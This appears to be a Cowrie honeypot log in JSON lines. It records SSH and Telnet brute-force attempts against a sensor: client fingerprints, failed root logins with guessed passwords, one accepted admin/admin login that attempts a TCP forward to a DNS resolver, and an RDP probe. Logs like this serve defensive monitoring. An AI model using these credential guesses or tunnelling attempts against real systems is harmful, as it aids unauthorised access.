{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:3c:f4:92:cb:fd:5a:99:64:d2:dc:b3:45:82:5f:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwJZEsfrYxHhRUWwoTI5RN5xMgj8bkQ+EfirtyIheKr9rUwOprmxmcHV6YBCDLRFLnB+XwvpCxE8E9ogR8RVUkW4ZM2TWfd3CIE1OBIvBovPV68+E7J5PHWnZzOkWsQUsdzW2kVWvSWUPVetoRlidYP07sNUSZUpdNQ5+IkoIp6j+QLiE4T8Cl0GZgvQCNmP2YGUhXkKHvcH97RTKEYK6jdfzZSmfQUxKE5aGLV25HSeFKJ9VfH5cN7LBFNQ0vRN+UkTej4pUL6psO44bwEYIqxVpXOdzrZxANbnHJHzODkzRqRQ2P4m/03ginVQKb+AATxojCh01scLavUIogmewt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:14.539088Z","src_ip":"78.47.4.5","session":"32e417abb768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:14.636126Z","src_ip":"78.47.4.5","session":"32e417abb768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63870,"dst_ip":"10.17.0.5","dst_port":22,"session":"3923ae24655c","protocol":"ssh","message":"New connection: 87.251.64.176:63870 (10.17.0.5:22) [session: 3923ae24655c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:21.405339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:21.409648Z","src_ip":"87.251.64.176","session":"3923ae24655c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:21.506127Z","src_ip":"87.251.64.176","session":"3923ae24655c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:21.796662Z","src_ip":"87.251.64.176","session":"3923ae24655c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:21.896053Z","session":"3923ae24655c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:21.997326Z","src_ip":"87.251.64.176","session":"3923ae24655c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:22.230000Z","src_ip":"87.251.64.176","session":"3923ae24655c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.96961688995361,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:39.776967Z","src_ip":"192.119.13.58","session":"58bf74d64fda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":35834,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7758a801644","protocol":"ssh","message":"New connection: 103.27.238.116:35834 (10.17.0.5:22) [session: a7758a801644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:43.591121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:43.595167Z","src_ip":"103.27.238.116","session":"a7758a801644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:43.865838Z","src_ip":"103.27.238.116","session":"a7758a801644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"killer123","message":"login attempt [root/killer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:44.677595Z","src_ip":"103.27.238.116","session":"a7758a801644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:45.951347Z","src_ip":"103.27.238.116","session":"a7758a801644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59304,"dst_ip":"10.17.0.5","dst_port":23,"session":"c268acd390b4","protocol":"telnet","message":"New connection: 192.119.13.58:59304 (10.17.0.5:23) [session: c268acd390b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:54.171592Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58728,"dst_ip":"10.17.0.5","dst_port":23,"session":"957366a0abfd","protocol":"telnet","message":"New connection: 192.119.13.58:58728 (10.17.0.5:23) [session: 957366a0abfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:45:02.039474Z"}
{"eventid":"cowrie.session.closed","duration":0.016422748565673828,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:45:02.055744Z","src_ip":"192.119.13.58","session":"957366a0abfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48302,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa2a34d1bcd1","protocol":"telnet","message":"New connection: 192.119.13.58:48302 (10.17.0.5:23) [session: fa2a34d1bcd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:45:23.094304Z"}
{"eventid":"cowrie.session.closed","duration":42.90350031852722,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:45:37.074993Z","src_ip":"192.119.13.58","session":"c268acd390b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55434,"dst_ip":"10.17.0.5","dst_port":23,"session":"190c19e85844","protocol":"telnet","message":"New connection: 192.119.13.58:55434 (10.17.0.5:23) [session: 190c19e85844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:45:47.452422Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37840,"dst_ip":"10.17.0.5","dst_port":23,"session":"56e3a5ed37ac","protocol":"telnet","message":"New connection: 192.119.13.58:37840 (10.17.0.5:23) [session: 56e3a5ed37ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:45:50.318568Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":35580,"dst_ip":"159.203.135.109","dst_port":22,"session":"df5a7c936829","protocol":"ssh","message":"New connection: 103.27.238.114:35580 (159.203.135.109:22) [session: df5a7c936829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:45:56.110085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:45:56.115312Z","src_ip":"103.27.238.114","session":"df5a7c936829","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:45:56.384601Z","src_ip":"103.27.238.114","session":"df5a7c936829","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parol1","message":"login attempt [root/parol1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:45:57.170756Z","src_ip":"103.27.238.114","session":"df5a7c936829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:45:58.433401Z","src_ip":"103.27.238.114","session":"df5a7c936829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.526132345199585,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:45:59.620307Z","src_ip":"192.119.13.58","session":"fa2a34d1bcd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59309,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fe4712c121d","protocol":"ssh","message":"New connection: 152.42.212.128:59309 (10.17.0.5:22) [session: 5fe4712c121d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:14.664255Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:14.671393Z","src_ip":"152.42.212.128","session":"5fe4712c121d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:14.678008Z","src_ip":"152.42.212.128","session":"5fe4712c121d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":38844,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e20f265f040","protocol":"ssh","message":"New connection: 80.66.85.226:38844 (10.17.0.5:22) [session: 2e20f265f040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:17.264446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:17.268308Z","src_ip":"80.66.85.226","session":"2e20f265f040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:17.357266Z","src_ip":"80.66.85.226","session":"2e20f265f040","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"michael1","message":"login attempt [root/michael1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:17.629148Z","src_ip":"80.66.85.226","session":"2e20f265f040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:18.724739Z","src_ip":"80.66.85.226","session":"2e20f265f040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":57222,"dst_ip":"10.17.0.5","dst_port":22,"session":"60375d6aaa8a","protocol":"ssh","message":"New connection: 37.233.85.71:57222 (10.17.0.5:22) [session: 60375d6aaa8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:23.340021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:23.348313Z","src_ip":"37.233.85.71","session":"60375d6aaa8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:23.453810Z","src_ip":"37.233.85.71","session":"60375d6aaa8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eduard","message":"login attempt [root/eduard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:23.769189Z","src_ip":"37.233.85.71","session":"60375d6aaa8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:24.877733Z","src_ip":"37.233.85.71","session":"60375d6aaa8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.387868881225586,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:26.706314Z","src_ip":"192.119.13.58","session":"56e3a5ed37ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35090,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d7a01b1e583","protocol":"telnet","message":"New connection: 192.119.13.58:35090 (10.17.0.5:23) [session: 7d7a01b1e583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:27.059630Z"}
{"eventid":"cowrie.session.closed","duration":41.18931031227112,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:28.641641Z","src_ip":"192.119.13.58","session":"190c19e85844","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":60044,"dst_ip":"159.203.135.109","dst_port":22,"session":"4615d903a43f","protocol":"ssh","message":"New connection: 147.45.197.250:60044 (159.203.135.109:22) [session: 4615d903a43f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:29.628757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:29.633833Z","src_ip":"147.45.197.250","session":"4615d903a43f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:29.727561Z","src_ip":"147.45.197.250","session":"4615d903a43f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pussy","message":"login attempt [root/pussy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:30.011965Z","src_ip":"147.45.197.250","session":"4615d903a43f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:31.108907Z","src_ip":"147.45.197.250","session":"4615d903a43f","protocol":"ssh"}
